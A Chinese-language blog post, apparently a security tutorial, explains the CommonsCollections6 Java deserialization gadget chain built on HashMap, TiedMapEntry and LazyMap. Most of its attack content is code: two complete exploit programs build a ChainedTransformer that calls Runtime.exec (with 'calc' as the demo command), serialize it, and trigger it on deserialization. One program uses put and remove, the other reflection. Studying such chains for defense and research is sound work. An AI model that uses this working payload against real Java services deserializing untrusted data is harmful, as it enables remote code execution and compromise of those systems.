• 【Web】Java反序列化之CC6--HashMap版

    前文：

    【Web】Java反序列化之再看CC1--LazyMap

    上面这篇文章提到，只要调用的LazyMap的get方法，就可以最终完成transform的调用。

    在高版本下，CC1不再能打通，CC6依然通用，其反序列化入口不再是AnnotationInvocationHandler，而是HashMap

    HashMap的readObject方法，最后调用了hash(key)

    其实这里师傅们应该很熟悉，和URLDNS链的入口一样

    1. private void readObject(java.io.ObjectInputStream s)
    2.         throws IOException, ClassNotFoundException {
    3.         // Read in the threshold (ignored), loadfactor, and any hidden stuff
    4.         s.defaultReadObject();
    5.         reinitialize();
    6.         if (loadFactor <= 0 || Float.isNaN(loadFactor))
    7.             throw new InvalidObjectException("Illegal load factor: " +
    8.                                              loadFactor);
    9.         s.readInt();                // Read and ignore number of buckets
    10.         int mappings = s.readInt(); // Read number of mappings (size)
    11.         if (mappings < 0)
    12.             throw new InvalidObjectException("Illegal mappings count: " +
    13.                                              mappings);
    14.         else if (mappings > 0) { // (if zero, use defaults)
    15.             // Size the table using given load factor only if within
    16.             // range of 0.25...4.0
    17.             float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
    18.             float fc = (float)mappings / lf + 1.0f;
    19.             int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
    20.                        DEFAULT_INITIAL_CAPACITY :
    21.                        (fc >= MAXIMUM_CAPACITY) ?
    22.                        MAXIMUM_CAPACITY :
    23.                        tableSizeFor((int)fc));
    24.             float ft = (float)cap * lf;
    25.             threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
    26.                          (int)ft : Integer.MAX_VALUE);
    27.  
    28.             // Check Map.Entry[].class since it's the nearest public type to
    29.             // what we're actually creating.
    30.             SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
    31.             @SuppressWarnings({"rawtypes","unchecked"})
    32.             Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
    33.             table = tab;
    34.  
    35.             // Read the keys and values, and put the mappings in the HashMap
    36.             for (int i = 0; i < mappings; i++) {
    37.                 @SuppressWarnings("unchecked")
    38.                     K key = (K) s.readObject();
    39.                 @SuppressWarnings("unchecked")
    40.                     V value = (V) s.readObject();
    41.                 putVal(hash(key), key, value, false, false);
    42.             }
    43.         }
    44.     }

    跟进hash(key)最后调用了key.hashCode()

    1. static final int hash(Object key) {
    2.         int h;
    3.         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    4.     }

    接下来我们只要找到能被利用的hashCode方法即可

    找到了TiedMapEntry(tme)

    它的初始化方法是传一个map，传一个key

    1.   public TiedMapEntry(Map map, Object key) {
    2.         this.map = map;
    3.         this.key = key;
    4.     }

    其hashCode方法调用了getValue方法

    1.  public int hashCode() {
    2.         Object value = this.getValue();
    3.         return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    4.     }

    getValue方法调用了传入的map的get方法去找传入的key，我们只要传入一个LazyMap就可以完成攻击链的构造 (前提是传入的key在LazyMap的HashMap里不能找到对应的value，否则因为懒加载机制，后续不能调用LazyMap中传入的map.transform)

    1. public Object getValue() {
    2.         return this.map.get(this.key);
    3.     }

     LazyMap方法的get方法：

    1.  public Object get(Object key) {
    2.         if (!this.map.containsKey(key)) {
    3.             Object value = this.factory.transform(key);
    4.             this.map.put(key, value);
    5.             return value;
    6.         } else {
    7.             return this.map.get(key);
    8.         }
    9.     }

    而需要注意的是：

    法一：HashMap put配合remove

    构造入口的HashMap在put(tme,'xxx')时会调用传入的keyTiedMapEntry的hashCode方法

    1. public V put(K key, V value) {
    2.         return putVal(hash(key), key, value, false, true);
    3.     }

    从而让LazyMap的get方法在反序列化前已经被调用了一次，也就是此时LazyMap中的HashMap里已经已经存在了这样一组键值对：key=>transform('key')

    1. if (!this.map.containsKey(key)) {
    2.             Object value = this.factory.transform(key);
    3.             this.map.put(key, value);
    4.             return value;
    5.         }

    那么再反序列化时再次走到LazyMap的get方法时，此时LazyMap的HashMap中已经有了'key'与对应的value，因为懒加载机制，不会去调用factory.transform方法，而是直接返回value的值。

    1. else {
    2.             return this.map.get(key);
    3.         }

     这样达不到反序列化攻击的效果，所以我们必须在入口HashMap调用put(tme,'value')后删除掉LazyMap中HashMap已经存在的KV对。

    因为LazyMap是抽象类AbstractMapDecorator的具体实现，而remove方法没有重载，就直接extends了抽象类的remove方法，这个remove方法的意思是删除LazyMap中HashMap的一组KV对，可以达到我们的目的。

    1. public Object remove(Object key) {
    2.         return this.map.remove(key);
    3.     }

    再经过一些细微的调整，便能构造exp：

    1. package com.CC6;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    7. import org.apache.commons.collections.map.LazyMap;
    8. import java.io.*;
    9. import java.lang.reflect.Field;
    10. import java.util.HashMap;
    11. import java.util.Map;
    12. public class CC6 {
    13.     public static void main(String[] args) throws Exception {
    14.         Transformer[] fakeTransformers = new Transformer[] {new
    15.                 ConstantTransformer(1)};
    16.         Transformer[] transformers = new Transformer[] {
    17.                 new ConstantTransformer(Runtime.class),
    18.                 new InvokerTransformer("getMethod", new Class[] {
    19.                         String.class,
    20.                         Class[].class }, new Object[] { "getRuntime",
    21.                         new Class[0] }),
    22.                 new InvokerTransformer("invoke", new Class[] {
    23.                         Object.class,
    24.                         Object[].class }, new Object[] { null, new
    25.                         Object[0] }),
    26.                 new InvokerTransformer("exec", new Class[] { String.class
    27.                 },
    28.                         new String[] { "calc.exe" }),
    29.                 new ConstantTransformer(1),
    30.         };
    31.         Transformer transformerChain = new
    32.                 ChainedTransformer(fakeTransformers);
    33. // 不再使⽤原CommonsCollections6中的HashSet，直接使⽤HashMap
    34.         Map innerMap = new HashMap();
    35.         Map outerMap = LazyMap.decorate(innerMap, transformerChain);
    36.         TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
    37.         Map expMap = new HashMap();
    38.         expMap.put(tme, "valuevalue");
    39.         outerMap.remove("keykey");
    40.         Field f =
    41.                 ChainedTransformer.class.getDeclaredField("iTransformers");
    42.         f.setAccessible(true);
    43.         f.set(transformerChain, transformers);
    44. // ==================
    45. // ⽣成序列化字符串
    46.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
    47.         ObjectOutputStream oos = new ObjectOutputStream(barr);
    48.         oos.writeObject(expMap);
    49.         oos.close();
    50. // 本地测试触发
    51.         System.out.println(barr);
    52.         ObjectInputStream ois = new ObjectInputStream(new
    53.                 ByteArrayInputStream(barr.toByteArray()));
    54.         Object o = (Object)ois.readObject();
    55.     }
    56. }

     

    法二：反射构造HashMap绕过put

    exp:

    1. package com.CC6;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    7. import org.apache.commons.collections.map.LazyMap;
    8. import java.io.*;
    9. import java.lang.reflect.Array;
    10. import java.lang.reflect.Constructor;
    11. import java.lang.reflect.Field;
    12. import java.util.HashMap;
    13. import java.util.Map;
    14. public class CC6 {
    15.     public static void main(String[] args) throws
    16.             Exception {
    17.         Transformer[] transformers = new Transformer[]
    18.                 {
    19.                         new ConstantTransformer(Runtime.class),
    20.                         new InvokerTransformer(
    21.                                 "getMethod", new Class[]
    22.                                 {String.class, Class[].class}, new Object[]
    23.                                 {"getRuntime", null}),
    24.                         new InvokerTransformer(
    25.                                 "invoke", new Class[]
    26.                                 {Object.class, Object[].class}, new Object[]
    27.                                 {Runtime.class, null}),
    28.                         new InvokerTransformer(
    29.                                 "exec", new Class[]
    30.                                 {String.class}, new Object[]{"calc"})
    31.                 };
    32.         Transformer transformerChain = new ChainedTransformer(transformers);
    33.         Map map = new HashMap();
    34.         Map lazyMap = LazyMap.decorate(map, transformerChain);
    35.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "x");
    36.         Map expMap = makeMap(tiedMapEntry, "xxx");
    37.         System.out.println("No calculator Pop :)");
    38.         Thread.sleep(5000);
    39.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
    40.         ObjectOutputStream oos = new ObjectOutputStream(baos);
    41.         oos.writeObject(expMap);
    42.         oos.close();
    43.         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
    44.         ois.readObject();
    45.     }
    46.  
    47.     public static Map makeMap(Object key, Object value) throws Exception {
    48.         HashMap map = new HashMap<>();
    49.         // 设置size为1
    50.         setFieldValue(map, "size", 1);
    51.         // 构造Node
    52.         Class nodeClazz = Class.forName("java.util.HashMap$Node");
    53.         Constructor nodeCons = nodeClazz.getDeclaredConstructor(int.class, Object.class, Object.class, nodeClazz);
    54.         nodeCons.setAccessible(true);
    55.         Object node = nodeCons.newInstance(0, key, value, null);
    56.         // 构造tables
    57.         Object tbl = Array.newInstance(nodeClazz, 1);
    58.         Array.set(tbl, 0, node);
    59.         setFieldValue(map, "table", tbl);
    60.         return map;
    61.     }
    62.  
    63.     public static void setFieldValue(Object obj,
    64.                                      String name, Object value) throws Exception {
    65.         Field field = obj.getClass().getDeclaredField(name);
    66.         field.setAccessible(true);
    67.         field.set(obj, value);
    68.     }
    69. }
  • 相关阅读:
    RuntimeError: “addmm_impl_cpu_“ not implemented for ‘Half‘
    西瓜书-2习题
    Validation参数校验
    JVM常见参数总结
    PHP相关漏洞
    上线三天破百万点赞，涵盖90%以上的Java面试题，这份Java面试神技带你所向披靡
    【leetcode周赛记录——405】
    Helm3模板-控制流程
    SpringBoot读取properties中配置的List集合
    扭蛋机小程序开发，互联网下的发展形式
  • 原文地址：https://blog.csdn.net/uuzeray/article/details/136343590